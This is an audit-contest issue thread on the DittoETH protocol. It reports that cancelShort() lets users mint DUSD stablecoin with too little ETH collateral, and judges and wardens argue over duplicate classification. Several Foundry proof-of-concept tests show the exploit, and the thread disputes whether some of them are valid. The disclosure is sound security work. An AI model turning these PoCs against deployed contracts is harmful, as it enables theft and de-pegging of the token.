Open c4-bot-8 opened 4 months ago
hansfriese marked the issue as duplicate of #2
Hi @hansfriese thanks for your judging efforts. cc: @c4-sponsor
I want to mention that this issue is a duplicate of #11 and not #2.
There are two reasons provided in the report that allow the attacker to mint DUSD using less collateral:
The first reason is exactly the same as the root cause issue for #11 which requires a price change.
The second reason also does not work without a price change. When you create a Short Order at a cr < 1, you are forced to provide ethInitial
as collateral to cover the minShortErc
.
uint256 minEth = price.mul(p.minShortErc);
uint256 diffCR = p.initialCR - p.CR;
❌ p.ethInitial = minEth.mul(diffCR);
When the order is cancelled, only up to minShortErc
can be minted and the user still has to provide extra collateral called collateralDiff
in the snippet below for the minShortErc
again.
uint88 collateralDiff = shortOrder.price.mulU88(debtDiff).mulU88(cr);
The user ends up providing initialCR = cr + diffCR
. initialCR
can't be less than 1, thus the user ends up providing enough collateral for minShortErc
. For cancelShort()
to mint DUSD, the order must have been matched at the oracle price when it was created. Except the oracle price increases the user will provide enough collateral.
The comment in the last assert statement for the first test in the report incorrectly states that 70% of ETH collateral was provided.
assertEq(short.collateral, 0.01 ether + 0.7 * 2000 ether + ethInitial); // 70% of ETH collateral provided
The test is done at a price of 1 ether for DUSD and mints 2000 DUSD (2000 ether). ethInitial
is also 2000 ether.
Thus,
0.01 ether + 0.7 * 2000 ether + ethInitial = 0.01 ether + 0.7 * 2000 ether + 2000 ether > 2000 DUSD
Unlike the price change required in this report and #11, #2 does not require any price change whatsoever.
Hi @hansfriese and @ditto-eth,
Hi @hansfriese thanks for your judging efforts. cc: @c4-sponsor
I want to mention that this issue is a duplicate of #11 and not #2.
There are two reasons provided in the report that allow the attacker to mint DUSD using less collateral:
- The shortOrder.price is used instead of the current price. Nevertheless, the shortOrder.price can be stale (less or higher than the current price).
- The shortOrder.shortOrderCR (i.e., the cr variable in the snippet below) is used, which can be less than 100% CR.
The first reason is exactly the same as the root cause issue for #11 which requires at a price change.
The second reason also does not work without a price change. When you create a Short Order at a cr < 1, you are forced to provide
ethInitial
as collateral to cover theminShortErc
.uint256 minEth = price.mul(p.minShortErc); uint256 diffCR = p.initialCR - p.CR; ❌ p.ethInitial = minEth.mul(diffCR);
When the order is cancelled only up to
minShortErc
can be minted and the user still has to provide extra collateral calledcollateralDiff
in the snippet below for theminShortErc
again.uint88 collateralDiff = shortOrder.price.mulU88(debtDiff).mulU88(cr);
The user ends up providing
initialCR = cr + diffCR
.initialCR
can't be less than 1, thus the user ends up providing enough collateral forminShortErc
. ForcancelShort()
to mint DUSD, the order must have been matched at the oracle price when it was created. Except the oracle price increases the user will provide enough collateral.The comment in the last assert statement for the first test in the report incorrectly states that 70% of ETH collateral was provided.
assertEq(short.collateral, 0.01 ether + 0.7 * 2000 ether + ethInitial); // 70% of ETH collateral provided
The test is done at a price of 1 ether for DUSD and mints 2000 DUSD (2000 ether).
ethInitial
is also 2000 ether. Thus,0.01 ether + 0.7 * 2000 ether + ethInitial = 0.01 ether + 0.7 * 2000 ether + 2000 ether > 2000 DUSD
Unlike the price change required in this report and #11, #2 does not require any price change whatsoever.
I want to respond to the @nonseodion's comment.
The following snippet presents a modified version to align with #2. As you can see, we can decrease the extra collateral, ethInitial
, from the shortRecord
before executing the cancelShort()
. At the end of the test, the shortRecord
is finally liquidatable like #2. The modified test also proves that we don't need the price change as @nonseodion mentioned.
For this reason, this issue should be a primary issue due to the two valid exploit cases, whereas #2 only provides one valid case.
// Credit:
// - Original by: nonseodion
// - Modified by: serial-coder
function test_MintFreeDUSD_ModifiedVersionToAlignWithIssue2() public { // (modified version to align with #2)
// Set the initial, penalty and liquidation CRs
vm.startPrank(owner);
// Set below 200 to allow shorter provide less than 100% of debt
diamond.setInitialCR(asset, 170);
diamond.setPenaltyCR(asset, 120);
diamond.setLiquidationCR(asset, 150);
vm.stopPrank();
// Create a bid to match the short and change its state to SR.PartialFill
fundLimitBidOpt(1 ether, 0.01 ether, receiver);
// How to calculate the ethInitial:
// minEth = price.mul(minShortErc);
// diffCR = initialCR - CR;
// ethInitial = minEth.mul(diffCR);
uint88 ethInitial = 2000 ether;
// Create the short providing only 70% of the dusd to be minted
uint88 price = 1 ether;
depositEth(sender, price.mulU88(5000 ether).mulU88(0.7 ether) + ethInitial);
uint16[] memory shortHintArray = setShortHintArray();
MTypes.OrderHint[] memory orderHintArray = diamond.getHintArray(asset, price, O.LimitShort, 1);
vm.prank(sender);
diamond.createLimitShort(asset, uint80(price), 5000 ether, orderHintArray, shortHintArray, 70);
STypes.ShortRecord memory short = getShortRecord(sender, C.SHORT_STARTING_ID);
// Successfully matches the bid
assertTrue(short.status == SR.PartialFill);
// Decrease the extra collateral, ethInitial
vm.prank(sender);
decreaseCollateral(C.SHORT_STARTING_ID, uint80(ethInitial));
// Cancel the short to use up collateral provided and mint dusd
vm.prank(sender);
cancelShort(101);
short = getShortRecord(sender, C.SHORT_STARTING_ID);
assertEq(short.ercDebt, 2000 ether); // 2000 dusd minted
assertEq(short.collateral, 0.01 ether + 0.7 * 2000 ether); // 70% of ETH collateral provided
// This SR is liquidatable
assertGt(diamond.getAssetNormalizedStruct(asset).liquidationCR, short.collateral.div(short.ercDebt.mul(1 ether)));
}
Hi @hansfriese and @ditto-eth,
This issue provides two valid exploit cases:
shortOrder.price
is used instead of the current price. Nevertheless, the shortOrder.price
can be stale (less or higher than the current price).shortOrder.shortOrderCR
(i.e., the cr
variable in the snippet below) is used, which can be less than 100% CR.Whereas #11 (the case 1 above) and #2 (the case 2 above) only provide a single valid case.
For this reason, this issue should be a primary issue with satisfactory
(100%), whereas #11 and #2 should get a partial-50
(50%).
Thanks for your time, sir.
After careful consideration, I agree with nonseodion.
This report doesn't demonstrate the same impact as #2 due to the revised logic in createLimitShort().
To present a valid attack path, the attacker would need to call decreaseCollateral()
before calling cancelShort()
.
Therefore, I believe it is fair to treat #2 and #8 as separate issues. #11 will be a duplicate of #8.
hansfriese marked the issue as not a duplicate
hansfriese marked the issue as satisfactory
hansfriese marked the issue as selected for report
hansfriese marked the issue as primary issue
Hi @hansfriese, cc. @ditto-eth,
With all due respect, Sir. But, please allow me to express my test assumption while writing the test_MintFreeDUSD()
.
Because I wanted to prove that we can mint DUSD assets with less than 100% CR provided (i.e., 70% CR in the test). As you can see the lines marked with ❌
, the test proves that we can mint 2000 DUSD with only 70% of ETH collateral provided. That was the point of my test assumption. Isn't that a valid proof?
I mean, my primary focus wasn't bringing the position to be liquidatable (like #2), but only proving that we can mint DUSD assets for free. However, as you can see the modified version of my test (to respond nonseodion's comment), I modified the original test to demonstrate that the original test version has a correct test assumption and it can slightly be modified to align with #2, bringing the position to be liquidatable.
For this reason, I believe that my test is sufficient to prove the main point. So, I still believe that this report should be a primary issue with satisfactory
(100%), whereas #11 and #2 should get a partial-50
(50%).
Could you have a second look? Thanks for your time, sir.
function test_MintFreeDUSD() public { // PoC #1
// Set the initial, penalty and liquidation CRs
vm.startPrank(owner);
// Set below 200 to allow shorter provide less than 100% of debt
diamond.setInitialCR(asset, 170);
diamond.setPenaltyCR(asset, 120);
diamond.setLiquidationCR(asset, 150);
vm.stopPrank();
// Create a bid to match the short and change its state to SR.PartialFill
fundLimitBidOpt(1 ether, 0.01 ether, receiver);
// How to calculate the ethInitial:
// minEth = price.mul(minShortErc);
// diffCR = initialCR - CR;
// ethInitial = minEth.mul(diffCR);
uint88 ethInitial = 2000 ether;
// Create the short providing only 70% of the dusd to be minted
uint88 price = 1 ether;
depositEth(sender, price.mulU88(5000 ether).mulU88(0.7 ether) + ethInitial);
uint16[] memory shortHintArray = setShortHintArray();
MTypes.OrderHint[] memory orderHintArray = diamond.getHintArray(asset, price, O.LimitShort, 1);
vm.prank(sender);
diamond.createLimitShort(asset, uint80(price), 5000 ether, orderHintArray, shortHintArray, 70);
STypes.ShortRecord memory short = getShortRecord(sender, C.SHORT_STARTING_ID);
// Successfully matches the bid
assertTrue(short.status == SR.PartialFill);
// Cancel the short to use up collateral provided and mint dusd
vm.prank(sender);
cancelShort(101);
short = getShortRecord(sender, C.SHORT_STARTING_ID);
❌ assertEq(short.ercDebt, 2000 ether); // 2000 dusd minted
❌ assertEq(short.collateral, 0.01 ether + 0.7 * 2000 ether + ethInitial); // 70% of ETH collateral provided
// The position is no longer liquidatable because the developer has improved
// how to source more collateral if CR < initialCR in the createLimitShort().
// However, we can still use the CR of 70% to calculate the collateral
// whose value is less than the value of DUSD that gets minted.
}
Hi @hansfriese,
Based on the applied rules, then issue #11 should be considered as a separate issue as well. Issue #2 discusses how the decreaseCollateral()
function can be used to reduce collateral before cancelling a short, thus removing the initially deposited collateral needed to cover the minShortErc
. This would result in dUSD
being minted with insufficient Ethereum collateral.
An attacker can use
decreaseCollateral()
to reduce the collateral of the Short Record before cancelling. Thus, removing the collateral added forminShortErc
, and the protocol ends up mintingdUSD
with less Ethereum collateral.
Issue #11 describes the behavior of "decrementing the collateral" through redemption in the following way:
ercDebt=0
.short
, leading to the minting of free dUSD
because ercDebt=0
.shortRecord
.shortRecord
ends up with more collateral and free dUSD
.Furthermore, the solution in #2 decreaseCollateral()
does not address the issues raised in issue #11 @ditto-eth . It should also be fixed so that dUSD
is not minted when a shortRecord
is in redemption
I believe they have already been categorized correctly, issues #8 and #11 are dependent on time/price change whereas #2 is not.
also, upon further examination im doubting the validity of the poc in #11 because SR can't be redeemed to below minShortErc unless it is to 0, in which case cancelShort will delete the shortOrder instead of minting anything. however, i agree with the concept still which is that dUSD can be minted in general with an outdated oracle price, it just wouldnt happen via redemptions. thus i believe at best #11 serves as a duplicate of #8
Hi @ditto-eth
I believe they have already been categorized correctly, issues #8 and #11 are dependent on time/price change whereas #2 is not.
But no price/time change is needed in my PoC, sir.
Note, my report has 2 PoCs:
test_MintFreeDUSD()
-- to demonstrate that we can mint the free DUSD
by canceling the shortOrder
with the shortOrderCR
< 100% (no price change is needed).test_MintBelowPrice()
-- to demonstrate that we can mint the free DUSD
by canceling the shortOrder
with the price
< the current price (price change is needed).The below PoC needs no price change (please refer to my other comment for the detailed test assumption).
function test_MintFreeDUSD() public { // PoC #1
// Set the initial, penalty and liquidation CRs
vm.startPrank(owner);
// Set below 200 to allow shorter provide less than 100% of debt
diamond.setInitialCR(asset, 170);
diamond.setPenaltyCR(asset, 120);
diamond.setLiquidationCR(asset, 150);
vm.stopPrank();
// Create a bid to match the short and change its state to SR.PartialFill
❌ fundLimitBidOpt(1 ether, 0.01 ether, receiver); // Price == 1 ether
// How to calculate the ethInitial:
// minEth = price.mul(minShortErc);
// diffCR = initialCR - CR;
// ethInitial = minEth.mul(diffCR);
uint88 ethInitial = 2000 ether;
// Create the short providing only 70% of the dusd to be minted
❌ uint88 price = 1 ether;
❌ depositEth(sender, price.mulU88(5000 ether).mulU88(0.7 ether) + ethInitial);
uint16[] memory shortHintArray = setShortHintArray();
❌ MTypes.OrderHint[] memory orderHintArray = diamond.getHintArray(asset, price, O.LimitShort, 1);
vm.prank(sender);
❌ diamond.createLimitShort(asset, uint80(price), 5000 ether, orderHintArray, shortHintArray, 70);
STypes.ShortRecord memory short = getShortRecord(sender, C.SHORT_STARTING_ID);
// Successfully matches the bid
assertTrue(short.status == SR.PartialFill);
// Cancel the short to use up collateral provided and mint dusd
vm.prank(sender);
cancelShort(101);
short = getShortRecord(sender, C.SHORT_STARTING_ID);
❌ assertEq(short.ercDebt, 2000 ether); // 2000 dusd minted
❌ assertEq(short.collateral, 0.01 ether + 0.7 * 2000 ether + ethInitial); // 70% of ETH collateral provided
}
@ditto-eth
Why is there doubt about the validity of the POC proposed in #11? In the line assertGt(diamond.getAssetUserStruct(asset, extra).ercEscrowed, extraBalanceErcEscrowedBefore);
, it is verified how more ERC is minted after performing cancelShort
. Additionally, in the logs, it can be observed how the SR collateral increases after canceling the short. The amount proposed in the redemption is the entire amount of the SR so that it results in SR.ercDebt=0
, allowing new ERC to be minted.
Test provided in #11:
function test_mintERCAtOutdatedPrice() public {
//
fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, sender);
// PartiallFill order
fundLimitBidOpt(DEFAULT_PRICE + 1, DEFAULT_AMOUNT + 1, receiver);
fundLimitShortOpt(DEFAULT_PRICE + 1, DEFAULT_AMOUNT * 2, extra);
//
// 1. Propose orders
uint88 redemptionAmount = DEFAULT_AMOUNT * 2;
MTypes.ProposalInput[] memory proposalInputs = new MTypes.ProposalInput[](2);
proposalInputs[0] = MTypes.ProposalInput({shorter: extra, shortId: C.SHORT_STARTING_ID, shortOrderId: 101});
proposalInputs[1] = MTypes.ProposalInput({shorter: sender, shortId: C.SHORT_STARTING_ID, shortOrderId: 0});
address redeemer = receiver;
depositUsd(redeemer, DEF_REDEMPTION_AMOUNT);
_setETH(1000 ether);
vm.prank(redeemer);
>> diamond.proposeRedemption(asset, proposalInputs, redemptionAmount, MAX_REDEMPTION_FEE, MAX_REDEMPTION_DEADLINE);
//
// 2. `extra user` cancel short and virtually mints ERC at short price. SR Collateral is increased.
uint extraBalanceErcEscrowedBefore = diamond.getAssetUserStruct(asset, extra).ercEscrowed;
STypes.ShortRecord memory extraSR = getShortRecord(extra, C.SHORT_STARTING_ID);
console.log("Collateral before:", extraSR.collateral);
_setETH(2000 ether);
vm.prank(extra);
cancelShort(101);
>> assertGt(diamond.getAssetUserStruct(asset, extra).ercEscrowed, extraBalanceErcEscrowedBefore);
extraSR = getShortRecord(extra, C.SHORT_STARTING_ID);
console.log("Collateral after:", extraSR.collateral);
}
Output:
[PASS] test_mintERCAtOutdatedPrice() (gas: 1518517)
Logs:
Collateral before: 2500000000000030000
Collateral after: 5000000000000040000
@serial-coder this specific test is not actually valid given the last line:
assertEq(short.collateral, 0.01 ether + 0.7 * 2000 ether + ethInitial); // 70% of ETH collateral provided
ethInitial
means that it is impossible for the SR to not have enough collateral when oracle price hasn't changed. so more accurately it's 70% + 100% = 170%. the concept of an outdated price is still valid though
@0xbepresent actually you are correct, my mistake the POC works
@serial-coder this specific test is not actually valid given the last line:
assertEq(short.collateral, 0.01 ether + 0.7 * 2000 ether + ethInitial); // 70% of ETH collateral provided
ethInitial
means that it is impossible for the SR to not have enough collateral when oracle price hasn't changed. so more accurately it's 70% + 100% = 170%. the concept of an outdated price is still valid though
@ditto-eth, cc. @hansfriese,
Understood but have you checked this comment?
I understand your point. I didn't remove the ethInitial
in the PoC. However, the PoC and report's description section still explain the root cause. Isn't it?
I do believe this issue should be at least a duplicate of #2 with partial-75
.
Thanks for your discussions. After reconsideration, I believe it is best to maintain the current duplicate status for the following reasons:
Lines of code
https://github.com/code-423n4/2024-07-dittoeth/blob/ca3c5bf8e13d0df6a2c1f8a9c66ad95bbad35bce/contracts/facets/OrdersFacet.sol#L60 https://github.com/code-423n4/2024-07-dittoeth/blob/ca3c5bf8e13d0df6a2c1f8a9c66ad95bbad35bce/contracts/libraries/LibOrders.sol#L944 https://github.com/code-423n4/2024-07-dittoeth/blob/ca3c5bf8e13d0df6a2c1f8a9c66ad95bbad35bce/contracts/libraries/LibOrders.sol#L946 https://github.com/code-423n4/2024-07-dittoeth/blob/ca3c5bf8e13d0df6a2c1f8a9c66ad95bbad35bce/contracts/libraries/LibOrders.sol#L953 https://github.com/code-423n4/2024-07-dittoeth/blob/ca3c5bf8e13d0df6a2c1f8a9c66ad95bbad35bce/contracts/libraries/LibOrders.sol#L960
Vulnerability details
Summary
Description
To mint the
DUSD
assets with less collateral than required, a user or attacker executes theOrdersFacet::cancelShort()
to cancel theshortOrder
with itsshortRecord.ercDebt
<minShortErc
(i.e.,shortRecord.status
==SR.PartialFill
).The
OrdersFacet::cancelShort()
will execute another internal function,LibOrders::cancelShort()
(@1
in the snippet below), to do the short canceling job. If theshortOrder
's correspondingshortRecord.status
==SR.PartialFill
and hasshortRecord.ercDebt
<minShortErc
, the steps@2.1
and@2.2
will get through.Since the
shortRecord
is less than theminShortErc
, thecancelShort()
has to fill anercDebt
for more to reach theminShortErc
threshold (so that the partially filledshortRecord.ercDebt
will ==minShortErc
). Specifically, the function has to virtually mint theDUSD
assets to increase theercDebt
by spending theshortRecord.collateral
(Let's name it thecollateralDiff
) for exchange.Here, we come to the root cause in
@3
. To calculate thecollateralDiff
:shortOrder.price
is used instead of the current price. Nevertheless, theshortOrder.price
can be stale (less or higher than the current price).shortOrder.shortOrderCR
(i.e., thecr
variable in the snippet below) is used, which can be less than 100% CR.If the
shortOrder.price
is less than the current price and/or theshortOrder.shortOrderCR
is less than 100% CR, the calculatedcollateralDiff
will have a value less than the value of theDUSD
assets that get minted (@4
).@1
: https://github.com/code-423n4/2024-07-dittoeth/blob/ca3c5bf8e13d0df6a2c1f8a9c66ad95bbad35bce/contracts/facets/OrdersFacet.sol#L60@2.1
: https://github.com/code-423n4/2024-07-dittoeth/blob/ca3c5bf8e13d0df6a2c1f8a9c66ad95bbad35bce/contracts/libraries/LibOrders.sol#L944@2.2
: https://github.com/code-423n4/2024-07-dittoeth/blob/ca3c5bf8e13d0df6a2c1f8a9c66ad95bbad35bce/contracts/libraries/LibOrders.sol#L946@3
: https://github.com/code-423n4/2024-07-dittoeth/blob/ca3c5bf8e13d0df6a2c1f8a9c66ad95bbad35bce/contracts/libraries/LibOrders.sol#L953@4
: https://github.com/code-423n4/2024-07-dittoeth/blob/ca3c5bf8e13d0df6a2c1f8a9c66ad95bbad35bce/contracts/libraries/LibOrders.sol#L960Impact
Users or attackers can mint the
DUSD
assets with lessETH
collateral than required (i.e., free money). This vulnerability is critical and can lead to the de-pegging of theDUSD
token.Proof of Concept
This section provides a coded PoC.
Place the
test_MintFreeDUSD()
andtest_MintBelowPrice()
in the.test/Shorts.t.sol
file and declare the followingimport
directive at the top of the test file:import {STypes, MTypes, O, SR} from "contracts/libraries/DataTypes.sol";
.There are two test functions. Execute the commands:
forge test -vv --mt test_MintFreeDUSD
forge test -vv --mt test_MintBelowPrice
PoC #1
shows we can mint the freeDUSD
by canceling theshortOrder
with theshortOrderCR
< 100%. ForPoC #2
, we can mint the freeDUSD
by canceling theshortOrder
with theprice
< the current price.Note: in the current codebase, the developer has improved how to source more collateral if the
CR
<initialCR
in thecreateLimitShort()
. For this reason, I had to modify the original test functions developed bynonseodion
to make them work again. Thanks tononseodion
.Tools Used
Manual Review
Recommended Mitigation Steps
When calculating the
collateralDiff
:shortOrder.price
.shortOrder.shortOrderCR
<initialCR
, use theinitialCR
as the collateral ratio instead of theshortOrder.shortOrderCR
.Note: I have slightly modified the original recommended code of
nonseodion
to make it work with the current codebase. Thanks tononseodion
again.Assessed type
Other